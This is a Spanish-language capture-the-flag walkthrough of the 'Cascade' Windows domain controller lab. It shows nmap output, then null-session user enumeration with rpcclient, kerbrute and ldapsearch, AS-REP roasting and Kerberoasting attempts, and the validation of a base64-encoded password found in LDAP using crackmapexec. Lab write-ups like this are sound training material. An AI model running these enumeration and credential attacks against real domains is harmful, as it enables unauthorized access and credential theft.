Cascade - WriteUp
🎯 Machine Info
Máquina Windows DC
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Nmap 7.94SVN scan initiated Tue Nov 28 11:17:30 2023 as: nmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49170 -oN targeted 10.129.117.116
Nmap scan report for 10.129.117.116
Host is up (0.097s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-28 10:17:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-11-28T10:18:23
|_ start_date: 2023-11-28T10:13:58
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
|_clock-skew: -4s
Vamos a intentar enumerar usuarios válidos conectándonos con rpcclient mediante una null session:
1
$ rpcclient -U "" 10.129.117.116
Y podemos enumerarlos. Vamos a copiarnos los usuarios en un archivo de texto para usarlo más adelante limpiando todo lo que nos sobra:
1
$ rpcclient -U "" -N 10.129.117.116 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt
Ya tenemos guardados los usuarios en el archivo “users.txt”
Ahora vamos a validar con kerbrute si los usuarios que tenemos son válidos y nos quedaremos solo con ellos:
1
$ kerbrute userenum --dc 10.129.117.116 -d cascade.local users.txt
Teniendo esto, vamos a intentar conseguir un TGT a través de una ASEPRoast Attack con impacket-GetNPUsers
1
impacket-GetNPUsers -no-pass -usersfile users.txt cascade.local/
Pero no tenemos suerte, de todas formas kerbrute ya nos dejó claro que no lo eran ya que ninguno arrojó el hash en la enumeración.
Vamos a intentar enumerar por SMB con una null session ya que seguimos sin credenciales válidas.
1
smbclient -L 10.129.117.116 -N
Pero tampoco hay suerte. Vamos aprobar por LDAP con ldapsearch
1
2
3
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local"
...
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local" | grep -i userprincipalname
Vamos a ampliar la información de cada línea encontrada para ver si podemos ver más detalles de la cuenta.
1
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local" | cat -l rb
Hacemos una búsqueda con la cadena UserPrincipalName y vamos saltando. En el segundo salto vemos que el usuario s.smith pertenece al grupo Remote Management:
Encontramos un usuario que si tuviéramos sus credenciales podríamos conectarnos con EvilWinRM.
Seguimos y encontramos esto:
Encontramos un password en formato base64 en el usuario r.thompson
1
2
$ echo -n "clk0bjVldmE=" | base64 -d ;echo
rY4n5eva
Probamos las credenciales para ver si son válidas:
1
$ crackmapexec smb 10.129.117.116 -u 'r.thompson' -p 'rY4n5eva'
Pues tenemos nuestras primeras credenciales y recursos compartidos…
Ahora que tenemos un usuario válido vamos a intentar volcar la información del dominio:
1
$ sudo ldapdomaindump -u 'CASCADE.LOCAL\r.thompson' -p 'rY4n5eva' 10.129.117.116
Ahora ya podemos tener de una manera más visual la información del dominio. Levantamos un servidor http con Python y accedemos a la URL http://127.0.0.1/domain_users.html
Ahora podemos explorar la información de una manera más cómoda.
Vamos a probar un “kerberoasting attack” con impacket-GetUserSPNs:
1
2
3
4
5
$ impacket-GetUserSPNs -request 'cascade.local/r.thompson:rY4n5eva'
Impacket v0.11.0 - Copyright 2023 Fortra
No entries found!
Pues por ahora no podemos.
Última actualización: 2025-08-12
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0









